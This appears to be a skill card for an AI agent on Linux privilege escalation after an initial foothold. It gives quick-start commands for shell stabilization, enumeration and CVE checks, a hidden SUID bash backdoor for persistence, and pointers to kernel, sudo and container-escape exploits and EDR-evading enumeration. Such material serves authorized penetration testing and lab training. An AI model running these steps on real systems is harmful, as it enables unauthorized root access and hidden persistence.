Privesc Linux

Linux Privilege Escalation

When to Activate

• Gained an initial unprivileged shell on a Linux host and need root or a higher-privileged account
• Post-exploitation lateral/vertical movement on Linux servers, workstations, CI runners, or appliances
• Container / Kubernetes pod foothold that needs to escape to the host node
• Triaging a host for misconfig-based LPE (SUID, sudo, capabilities, writable units/cron) before reaching for kernel 0-day
• CTF / lab challenges requiring privilege escalation with a defensible, detection-aware methodology

Technique Map

Quick Start

bashCopy code
# 0. Stabilize shell + baseline context
python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm
id; uname -a; cat /etc/os-release

# 1. Fast, detection-aware enumeration (custom, no external download needed)
python3 linpriv_enum.py --quick            # quick wins triage
python3 linpriv_enum.py --full --json out.json   # full sweep -> JSON evidence

# 2. SUID / capabilities / sudo triage (maps directly to GTFOBins)
./cap_suid_hunter.sh                        # ranks exploitable SUID + caps + sudo -l

# 3. sudo 2025 LPE check (no creds needed; default-config killers)
./sudo_cve_2025_check.sh                    # tests CVE-2025-32462 / -32463 + PwnKit

# 4. Kernel + glibc CVE mapping for current host
python3 kernel_exploit_suggester.py        # uname/glibc/distro -> ranked modern LPEs

# 5. If containerized, check escape surface
./container_escape_check.sh                 # runc fd-leak, docker.sock, caps, k8s token

# 6. Validate root, then drop SUID backup or stable persistence per ROE
id; cp /bin/bash /tmp/.b && chmod 4755 /tmp/.b   # only if authorized

OPSEC & Detection (summary)

Detailed Sigma rules, auditd rule snippets and IOC lists live inside each reference file's Detection subsection.

Deep Dives

• references/enumeration-tooling.md — LinPEAS/pspy/LES2/unix-privesc-check, the linpriv_enum.py methodology, quick-win checklists, and low-noise enumeration for EDR-monitored hosts.
• references/suid-sudo-capabilities.md — SUID/SGID + GTFOBins, sudo misconfig escapes, sudo CVE-2025-32462 (host) and CVE-2025-32463 (chroot/NSS), Linux capabilities (cap_setuid/cap_dac_read_search/cap_sys_admin), and LD_PRELOAD/LD_LIBRARY_PATH sudo hijacking.
• references/kernel-exploits.md — nf_tables CVE-2024-1086 (and 2026 nftables UAFs), io_uring CVE-2024-0582 / CVE-2025-21836, Dirty Pipe CVE-2022-0847, GameOver(lay) CVE-2023-2640, plus a kernel-CVE selection methodology and ROP/commit_creds primer.
• references/service-misconfig-lpe.md — udisks/libblockdev CVE-2025-6018/6019 chain, Looney Tunables CVE-2023-4911, PwnKit CVE-2021-4034, polkit/D-Bus abuse, cron/systemd/PATH hijacking, writable /etc/passwd, and NFS no_root_squash.
• references/container-namespace-escape.md — runc Leaky Vessels CVE-2024-21626, Docker socket / privileged-container / --pid=host / CAP_SYS_PTRACE escapes, cgroup-v1 release_agent, user namespaces, and Kubernetes service-account-token → pod escape.